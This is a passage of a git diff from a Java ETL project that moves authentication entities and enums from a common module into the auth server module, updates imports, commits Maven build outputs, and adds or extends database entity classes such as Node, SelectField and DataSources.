import com.baomidou.mybatisplus.annotation.TableId;
diff --git a/etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/UserAccount.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/entity/UserAccount.java
similarity index 85%
rename from etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/UserAccount.java
rename to etl-auth/etl-auth-server/src/main/java/com/auth/server/entity/UserAccount.java
index bca0ee1..f7f32e3 100644
--- a/etl-auth/etl-auth-common/src/main/java/com/auth/common/entity/UserAccount.java
+++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/entity/UserAccount.java
@@ -1,4 +1,4 @@
-package com.auth.common.entity;
+package com.auth.server.entity;
import com.baomidou.mybatisplus.annotation.IdType;
import com.baomidou.mybatisplus.annotation.TableId;
@@ -21,4 +21,6 @@ public class UserAccount {
@ApiModelProperty("密码/")
private String password;
+// @ApiModelProperty("uuid")
+// private String UUID;
}
diff --git a/etl-auth/etl-auth-common/src/main/java/com/auth/common/enums/PermissionConstants.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/enums/PermissionConstants.java
similarity index 93%
rename from etl-auth/etl-auth-common/src/main/java/com/auth/common/enums/PermissionConstants.java
rename to etl-auth/etl-auth-server/src/main/java/com/auth/server/enums/PermissionConstants.java
index 25a97d9..452b326 100644
--- a/etl-auth/etl-auth-common/src/main/java/com/auth/common/enums/PermissionConstants.java
+++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/enums/PermissionConstants.java
@@ -1,4 +1,4 @@
-package com.auth.common.enums;
+package com.auth.server.enums;
public class PermissionConstants {
public static final String ROLES = "roles";
diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PathMapper.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PathMapper.java
index e243793..8d277f8 100644
--- a/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PathMapper.java
+++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PathMapper.java
@@ -1,7 +1,7 @@
package com.auth.server.mapper;
-import com.auth.common.entity.PathPermission;
-import com.auth.common.entity.RolesPermission;
+
+import com.auth.server.entity.PathPermission;
import com.baomidou.mybatisplus.core.mapper.BaseMapper;
public interface PathMapper extends BaseMapper {
diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PermissionMapper.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PermissionMapper.java
index 42e3bed..8ec48cc 100644
--- a/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PermissionMapper.java
+++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/PermissionMapper.java
@@ -1,7 +1,8 @@
package com.auth.server.mapper;
-import com.auth.common.entity.RolesPermission;
+
+import com.auth.server.entity.RolesPermission;
import com.baomidou.mybatisplus.core.mapper.BaseMapper;
public interface PermissionMapper extends BaseMapper {
diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/UserMangeMapper.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/UserMangeMapper.java
index 9a770ef..da33f1f 100644
--- a/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/UserMangeMapper.java
+++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/mapper/UserMangeMapper.java
@@ -1,7 +1,8 @@
package com.auth.server.mapper;
-import com.auth.common.entity.UserAccount;
+
+import com.auth.server.entity.UserAccount;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.baomidou.mybatisplus.core.mapper.BaseMapper;
import org.apache.ibatis.annotations.Mapper;
diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PathService.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PathService.java
index b555b70..487fdc9 100644
--- a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PathService.java
+++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PathService.java
@@ -1,8 +1,7 @@
package com.auth.server.service;
-import com.auth.common.entity.PathPermission;
-import com.auth.common.entity.RolesPermission;
-import com.auth.common.entity.UserAccount;
+
+import com.auth.server.entity.PathPermission;
import com.baomidou.mybatisplus.extension.service.IService;
public interface PathService extends IService {
diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PermissionService.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PermissionService.java
index d487e57..503760e 100644
--- a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PermissionService.java
+++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/PermissionService.java
@@ -1,7 +1,7 @@
package com.auth.server.service;
-import com.auth.common.entity.RolesPermission;
-import com.auth.common.entity.UserAccount;
+
+import com.auth.server.entity.RolesPermission;
import com.baomidou.mybatisplus.extension.service.IService;
import java.util.List;
diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/UserManageService.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/UserManageService.java
index 949f8b8..f7ed4ab 100644
--- a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/UserManageService.java
+++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/UserManageService.java
@@ -1,8 +1,8 @@
package com.auth.server.service;
import com.alibaba.nacos.api.model.v2.Result;
-import com.auth.common.entity.UserAccount;
+import com.auth.server.entity.UserAccount;
import com.baomidou.mybatisplus.extension.service.IService;
import com.etl.common.result.CommonResult;
diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PathServiceImpl.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PathServiceImpl.java
index 8e4475a..a7888fe 100644
--- a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PathServiceImpl.java
+++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PathServiceImpl.java
@@ -1,7 +1,7 @@
package com.auth.server.service.impl;
-import com.auth.common.entity.PathPermission;
-import com.auth.common.entity.RolesPermission;
+
+import com.auth.server.entity.PathPermission;
import com.auth.server.mapper.PathMapper;
import com.auth.server.mapper.PermissionMapper;
import com.auth.server.service.PathService;
diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PermissionServiceImpl.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PermissionServiceImpl.java
index dc99f92..f48a094 100644
--- a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PermissionServiceImpl.java
+++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/PermissionServiceImpl.java
@@ -1,7 +1,8 @@
package com.auth.server.service.impl;
-import com.auth.common.entity.RolesPermission;
-import com.auth.common.enums.PermissionConstants;
+
+import com.auth.server.entity.RolesPermission;
+import com.auth.server.enums.PermissionConstants;
import com.auth.server.mapper.PermissionMapper;
import com.auth.server.service.PermissionService;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/UserManageServiceImpl.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/UserManageServiceImpl.java
index a594d0a..16d41d6 100644
--- a/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/UserManageServiceImpl.java
+++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/service/impl/UserManageServiceImpl.java
@@ -3,9 +3,9 @@ package com.auth.server.service.impl;
import com.alibaba.fastjson2.JSON;
import com.alibaba.nacos.api.model.v2.Result;
-import com.auth.common.entity.UserAccount;
-import com.auth.common.enums.PermissionConstants;
import com.auth.server.config.MD5s;
+import com.auth.server.entity.UserAccount;
+import com.auth.server.enums.PermissionConstants;
import com.auth.server.mapper.UserMangeMapper;
import com.auth.server.service.UserManageService;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
diff --git a/etl-auth/etl-auth-server/src/main/java/com/auth/server/util/UserRealm.java b/etl-auth/etl-auth-server/src/main/java/com/auth/server/util/UserRealm.java
index b9218f5..84cf367 100644
--- a/etl-auth/etl-auth-server/src/main/java/com/auth/server/util/UserRealm.java
+++ b/etl-auth/etl-auth-server/src/main/java/com/auth/server/util/UserRealm.java
@@ -1,7 +1,8 @@
package com.auth.server.util;
-import com.auth.common.entity.UserAccount;
+
+import com.auth.server.entity.UserAccount;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.auth.server.service.UserManageService;
import lombok.extern.slf4j.Slf4j;
@@ -19,15 +20,13 @@ import org.springframework.beans.factory.annotation.Autowired;
public class UserRealm extends AuthorizingRealm {
@Autowired
private UserManageService userManageService;
-
//授权
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
-
/**配置权限
*此处User实体需配置属性roles,用户权限
*获取当前用户对象
- * */
+ */
SimpleAuthorizationInfo authorizationInfo = new SimpleAuthorizationInfo();
Subject subject= SecurityUtils.getSubject();
UserAccount currentUser =(UserAccount) subject.getPrincipal();
@@ -35,7 +34,6 @@ public class UserRealm extends AuthorizingRealm {
log.info("用户权限为:"+currentUser.getRoles());
return authorizationInfo;
}
-
//认证
@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
@@ -56,9 +54,8 @@ public class UserRealm extends AuthorizingRealm {
}else {
log.info(user.getUsername());
}
-
//principal:认证的实体信息,可以是username,也可以是数据库表对应的用户的实体对象
- // Object principal = user.getUsername();
+ // Object principal = user.getUsername();
ByteSource salt = ByteSource.Util.bytes(username);
return new SimpleAuthenticationInfo(user.getUsername(), user.getPassword() , salt,getName());
}
diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/controller/LoginControler.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/controller/LoginControler.class
index 6be0a47..0474618 100644
Binary files a/etl-auth/etl-auth-server/target/classes/com/auth/server/controller/LoginControler.class and b/etl-auth/etl-auth-server/target/classes/com/auth/server/controller/LoginControler.class differ
diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/controller/PermissionController.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/controller/PermissionController.class
index c2b59f8..0b76277 100644
Binary files a/etl-auth/etl-auth-server/target/classes/com/auth/server/controller/PermissionController.class and b/etl-auth/etl-auth-server/target/classes/com/auth/server/controller/PermissionController.class differ
diff --git a/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/PathPermission.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/entity/PathPermission.class
similarity index 96%
rename from etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/PathPermission.class
rename to etl-auth/etl-auth-server/target/classes/com/auth/server/entity/PathPermission.class
index 47b2a17..8881032 100644
Binary files a/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/PathPermission.class and b/etl-auth/etl-auth-server/target/classes/com/auth/server/entity/PathPermission.class differ
diff --git a/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/RolesPermission.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/entity/RolesPermission.class
similarity index 93%
rename from etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/RolesPermission.class
rename to etl-auth/etl-auth-server/target/classes/com/auth/server/entity/RolesPermission.class
index e0a3e5b..66080a9 100644
Binary files a/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/RolesPermission.class and b/etl-auth/etl-auth-server/target/classes/com/auth/server/entity/RolesPermission.class differ
diff --git a/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/UserAccount.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/entity/UserAccount.class
similarity index 90%
rename from etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/UserAccount.class
rename to etl-auth/etl-auth-server/target/classes/com/auth/server/entity/UserAccount.class
index 7e2c105..1eb0be2 100644
Binary files a/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/entity/UserAccount.class and b/etl-auth/etl-auth-server/target/classes/com/auth/server/entity/UserAccount.class differ
diff --git a/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/enums/PermissionConstants.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/enums/PermissionConstants.class
similarity index 76%
rename from etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/enums/PermissionConstants.class
rename to etl-auth/etl-auth-server/target/classes/com/auth/server/enums/PermissionConstants.class
index da08aaa..b062b79 100644
Binary files a/etl-auth/etl-auth-server/target/production/etl-auth-common/com/auth/common/enums/PermissionConstants.class and b/etl-auth/etl-auth-server/target/classes/com/auth/server/enums/PermissionConstants.class differ
diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/mapper/PathMapper.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/mapper/PathMapper.class
index 1b0aab4..e5c5fe0 100644
Binary files a/etl-auth/etl-auth-server/target/classes/com/auth/server/mapper/PathMapper.class and b/etl-auth/etl-auth-server/target/classes/com/auth/server/mapper/PathMapper.class differ
diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/mapper/PermissionMapper.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/mapper/PermissionMapper.class
index 8ee9317..fa34763 100644
Binary files a/etl-auth/etl-auth-server/target/classes/com/auth/server/mapper/PermissionMapper.class and b/etl-auth/etl-auth-server/target/classes/com/auth/server/mapper/PermissionMapper.class differ
diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/mapper/UserMangeMapper.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/mapper/UserMangeMapper.class
index a8b6b55..40dbb6a 100644
Binary files a/etl-auth/etl-auth-server/target/classes/com/auth/server/mapper/UserMangeMapper.class and b/etl-auth/etl-auth-server/target/classes/com/auth/server/mapper/UserMangeMapper.class differ
diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/PathService.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/PathService.class
index 88233ec..1bc22e4 100644
Binary files a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/PathService.class and b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/PathService.class differ
diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/PermissionService.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/PermissionService.class
index b26615f..54c8ed6 100644
Binary files a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/PermissionService.class and b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/PermissionService.class differ
diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/UserManageService.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/UserManageService.class
index 41fc9a0..7491e5f 100644
Binary files a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/UserManageService.class and b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/UserManageService.class differ
diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/impl/PathServiceImpl.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/impl/PathServiceImpl.class
index e8c9568..39daf28 100644
Binary files a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/impl/PathServiceImpl.class and b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/impl/PathServiceImpl.class differ
diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/impl/PermissionServiceImpl.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/impl/PermissionServiceImpl.class
index 884ed9b..42e36eb 100644
Binary files a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/impl/PermissionServiceImpl.class and b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/impl/PermissionServiceImpl.class differ
diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/impl/UserManageServiceImpl.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/impl/UserManageServiceImpl.class
index e29edb7..9667057 100644
Binary files a/etl-auth/etl-auth-server/target/classes/com/auth/server/service/impl/UserManageServiceImpl.class and b/etl-auth/etl-auth-server/target/classes/com/auth/server/service/impl/UserManageServiceImpl.class differ
diff --git a/etl-auth/etl-auth-server/target/classes/com/auth/server/util/UserRealm.class b/etl-auth/etl-auth-server/target/classes/com/auth/server/util/UserRealm.class
index 4d29926..c82f656 100644
Binary files a/etl-auth/etl-auth-server/target/classes/com/auth/server/util/UserRealm.class and b/etl-auth/etl-auth-server/target/classes/com/auth/server/util/UserRealm.class differ
diff --git a/etl-auth/etl-auth-server/target/etl-auth-server-1.0-SNAPSHOT.jar b/etl-auth/etl-auth-server/target/etl-auth-server-1.0-SNAPSHOT.jar
new file mode 100644
index 0000000..0ae55d1
Binary files /dev/null and b/etl-auth/etl-auth-server/target/etl-auth-server-1.0-SNAPSHOT.jar differ
diff --git a/etl-auth/etl-auth-server/target/maven-archiver/pom.properties b/etl-auth/etl-auth-server/target/maven-archiver/pom.properties
new file mode 100644
index 0000000..f68dc30
--- /dev/null
+++ b/etl-auth/etl-auth-server/target/maven-archiver/pom.properties
@@ -0,0 +1,5 @@
+#Generated by Maven
+#Wed Jul 03 15:26:21 CST 2024
+version=1.0-SNAPSHOT
+groupId=com.bwie
+artifactId=etl-auth-server
diff --git a/etl-auth/etl-auth-server/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst b/etl-auth/etl-auth-server/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
new file mode 100644
index 0000000..5642f4e
--- /dev/null
+++ b/etl-auth/etl-auth-server/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
@@ -0,0 +1,20 @@
+com\auth\server\config\MD5s.class
+com\auth\server\service\PathService.class
+com\auth\server\service\PermissionService.class
+com\auth\server\mapper\UserMangeMapper.class
+com\auth\server\mapper\PathMapper.class
+com\auth\server\service\impl\PathServiceImpl.class
+com\auth\server\EtlAuthServerApplication.class
+com\auth\server\entity\RolesPermission.class
+com\auth\server\service\impl\UserManageServiceImpl.class
+com\auth\server\config\ShiroConfig.class
+com\auth\server\enums\PermissionConstants.class
+com\auth\server\service\UserManageService.class
+com\auth\server\mapper\PermissionMapper.class
+com\auth\server\entity\PathPermission.class
+com\auth\server\util\UserRealm.class
+com\auth\server\controller\LoginControler.class
+com\auth\server\controller\PermissionController.class
+com\auth\server\util\SecurityUtils.class
+com\auth\server\service\impl\PermissionServiceImpl.class
+com\auth\server\entity\UserAccount.class
diff --git a/etl-auth/etl-auth-server/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst b/etl-auth/etl-auth-server/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
new file mode 100644
index 0000000..53c53d1
--- /dev/null
+++ b/etl-auth/etl-auth-server/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
@@ -0,0 +1,21 @@
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\entity\RolesPermission.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\service\UserManageService.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\enums\PermissionConstants.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\service\impl\UserManageServiceImpl.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\entity\UserAccount.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\EtlAuthServerApplication.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\controller\LoginControler.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\interceptor\UserInterceptor.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\service\impl\PathServiceImpl.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\controller\PermissionController.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\service\PermissionService.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\service\impl\PermissionServiceImpl.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\service\PathService.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\config\MD5s.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\mapper\PermissionMapper.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\util\UserRealm.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\util\SecurityUtils.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\entity\PathPermission.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\mapper\PathMapper.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\mapper\UserMangeMapper.java
+D:\workspace\ETL\etl-auth\etl-auth-server\src\main\java\com\auth\server\config\ShiroConfig.java
diff --git a/etl-auth/etl-auth-server/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/createdFiles.lst b/etl-auth/etl-auth-server/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/createdFiles.lst
new file mode 100644
index 0000000..660e055
--- /dev/null
+++ b/etl-auth/etl-auth-server/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/createdFiles.lst
@@ -0,0 +1 @@
+com\auth\server\EtlAuthServerApplicationTests.class
diff --git a/etl-auth/etl-auth-server/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst b/etl-auth/etl-auth-server/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst
new file mode 100644
index 0000000..2efc1f5
--- /dev/null
+++ b/etl-auth/etl-auth-server/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst
@@ -0,0 +1 @@
+D:\workspace\ETL\etl-auth\etl-auth-server\src\test\java\com\auth\server\EtlAuthServerApplicationTests.java
diff --git a/etl-common/target/etl-common-1.0-SNAPSHOT.jar b/etl-common/target/etl-common-1.0-SNAPSHOT.jar
index 76abfc4..7ceaaa8 100644
Binary files a/etl-common/target/etl-common-1.0-SNAPSHOT.jar and b/etl-common/target/etl-common-1.0-SNAPSHOT.jar differ
diff --git a/etl-common/target/maven-archiver/pom.properties b/etl-common/target/maven-archiver/pom.properties
index a1eb5b5..0427b5a 100644
--- a/etl-common/target/maven-archiver/pom.properties
+++ b/etl-common/target/maven-archiver/pom.properties
@@ -1,5 +1,5 @@
#Generated by Maven
-#Tue Jun 25 09:14:51 CST 2024
+#Wed Jul 03 15:15:40 CST 2024
version=1.0-SNAPSHOT
groupId=com.bwie
artifactId=etl-common
diff --git a/etl-common/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst b/etl-common/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
index 2380f1d..25f0682 100644
--- a/etl-common/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
+++ b/etl-common/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
@@ -3,6 +3,7 @@ com\etl\common\result\PageResult.class
com\etl\common\constants\JwtConstants.class
com\etl\common\Entity.class
com\etl\common\handler\ExceptionHandlers.class
+com\etl\common\exception\LimitException.class
com\etl\common\util\JwtUtils.class
com\etl\common\result\CommonResult.class
com\etl\common\util\RequestUtil.class
diff --git a/etl-common/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst b/etl-common/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
index 6074707..cd2ff3a 100644
--- a/etl-common/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
+++ b/etl-common/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
@@ -8,6 +8,7 @@ D:\workspace\ETL\etl-common\src\main\java\com\etl\common\result\CommonResult.jav
D:\workspace\ETL\etl-common\src\main\java\com\etl\common\result\Result.java
D:\workspace\ETL\etl-common\src\main\java\com\etl\common\constants\TokenConstants.java
D:\workspace\ETL\etl-common\src\main\java\com\etl\common\util\JwtUtils.java
+D:\workspace\ETL\etl-common\src\main\java\com\etl\common\exception\LimitException.java
D:\workspace\ETL\etl-common\src\main\java\com\etl\common\util\RequestUtil.java
D:\workspace\ETL\etl-common\src\main\java\com\etl\common\exception\AllException.java
D:\workspace\ETL\etl-common\src\main\java\com\etl\common\util\StringUtils.java
diff --git a/etl-auth/etl-auth-server/etl-auth-server.iml b/etl-database/etl-database-common/etl-database-common.iml
similarity index 100%
rename from etl-auth/etl-auth-server/etl-auth-server.iml
rename to etl-database/etl-database-common/etl-database-common.iml
diff --git a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/DataSources.java b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/DataSources.java
index 737c589..a68aae7 100644
--- a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/DataSources.java
+++ b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/DataSources.java
@@ -38,12 +38,11 @@ public class DataSources extends BaseMate {
@ApiModelProperty(value = "状态 0-停用 1-启用")
@Min(value = 0, message = "状态值不能小于0")
- @Max(value = 1, message = "状态值不能大于1")
private Integer status;
@Size(max = 100, message = "备注不能超过100个字符")
@ApiModelProperty(value = "备注")
- private String explain;
+ private String explaina;
@ApiModelProperty(value = "额外配置")
private String extraEvlop;
@@ -54,4 +53,11 @@ public class DataSources extends BaseMate {
@TableField(exist = false)
@ApiModelProperty(value = "数据库类型")
private String dataSourceTypeName;
+
+ @ApiModelProperty(value = "用户名")
+ private String username;
+
+ @ApiModelProperty(value = "密码")
+ private String password;
+
}
diff --git a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/File.java b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/File.java
index 4cd0d27..8c39ac9 100644
--- a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/File.java
+++ b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/File.java
@@ -2,6 +2,7 @@ package com.etl.database.common.entity;
import com.baomidou.mybatisplus.annotation.IdType;
import com.baomidou.mybatisplus.annotation.TableId;
+import com.baomidou.mybatisplus.annotation.TableName;
import com.etl.database.common.entity.database.BaseMate;
import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;
@@ -12,6 +13,7 @@ import lombok.Data;
*/
@Data
@ApiModel("文件")
+@TableName("t_file")
public class File extends BaseMate {
@ApiModelProperty(value = "文件id")
@TableId(value = "id",type = IdType.AUTO)
@@ -31,4 +33,7 @@ public class File extends BaseMate {
@ApiModelProperty(value = "说明")
private String expalin;
+
+ @ApiModelProperty(value = "1-私有文件夹 2-共有文件夹")
+ private Integer fileOption;
}
diff --git a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/Node.java b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/Node.java
new file mode 100644
index 0000000..d52e57f
--- /dev/null
+++ b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/Node.java
@@ -0,0 +1,32 @@
+package com.etl.database.common.entity;
+
+import com.baomidou.mybatisplus.annotation.IdType;
+import com.baomidou.mybatisplus.annotation.TableId;
+import com.baomidou.mybatisplus.annotation.TableName;
+import io.swagger.annotations.ApiModel;
+import io.swagger.annotations.ApiModelProperty;
+import lombok.Data;
+
+@Data
+@ApiModel(value = "节点实体类")
+@TableName("t_node")
+public class Node {
+ @ApiModelProperty(value = "id")
+ @TableId(value = "id",type = IdType.AUTO)
+ private Integer id;
+
+ @ApiModelProperty(value = "任务id")
+ private Integer taskId;
+
+ @ApiModelProperty(value = "表名")
+ private String tableName;
+
+ @ApiModelProperty(value = "类型id")
+ private Integer type;
+
+ @ApiModelProperty(value = "数据源id")
+ private Integer dataSourceId;
+
+ @ApiModelProperty(value = "别名")
+ private String alias;
+}
diff --git a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/Rule.java b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/Rule.java
index 6626367..741f0ed 100644
--- a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/Rule.java
+++ b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/Rule.java
@@ -32,4 +32,7 @@ public class Rule {
@ApiModelProperty(value = "公开方式 1-仅自己可见 2-公开")
private Integer publicWay;
+
+ @ApiModelProperty(value = "规则唯一id")
+ private Integer regulationId;
}
diff --git a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/SelectField.java b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/SelectField.java
new file mode 100644
index 0000000..23d2765
--- /dev/null
+++ b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/SelectField.java
@@ -0,0 +1,23 @@
+package com.etl.database.common.entity;
+
+import com.baomidou.mybatisplus.annotation.IdType;
+import com.baomidou.mybatisplus.annotation.TableId;
+import com.baomidou.mybatisplus.annotation.TableName;
+import io.swagger.annotations.ApiModelProperty;
+import lombok.Data;
+
+@Data
+@TableName("t_select_field")
+public class SelectField {
+ @TableId(value = "id",type = IdType.AUTO)
+ private Integer id;
+
+ @ApiModelProperty(value = "节点id")
+ private Integer nodeId;
+
+ @ApiModelProperty(value = "字段名称")
+ private String fieldName;
+
+ @ApiModelProperty(value = "规则id")
+ private Integer ruleId;
+}
diff --git a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/Task.java b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/Task.java
index 1bb042e..c57bfe1 100644
--- a/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/Task.java
+++ b/etl-database/etl-database-common/src/main/java/com/etl/database/common/entity/Task.java
@@ -1,6 +1,7 @@
package com.etl.database.common.entity;
import com.baomidou.mybatisplus.annotation.IdType;
+import com.baomidou.mybatisplus.annotation.TableField;
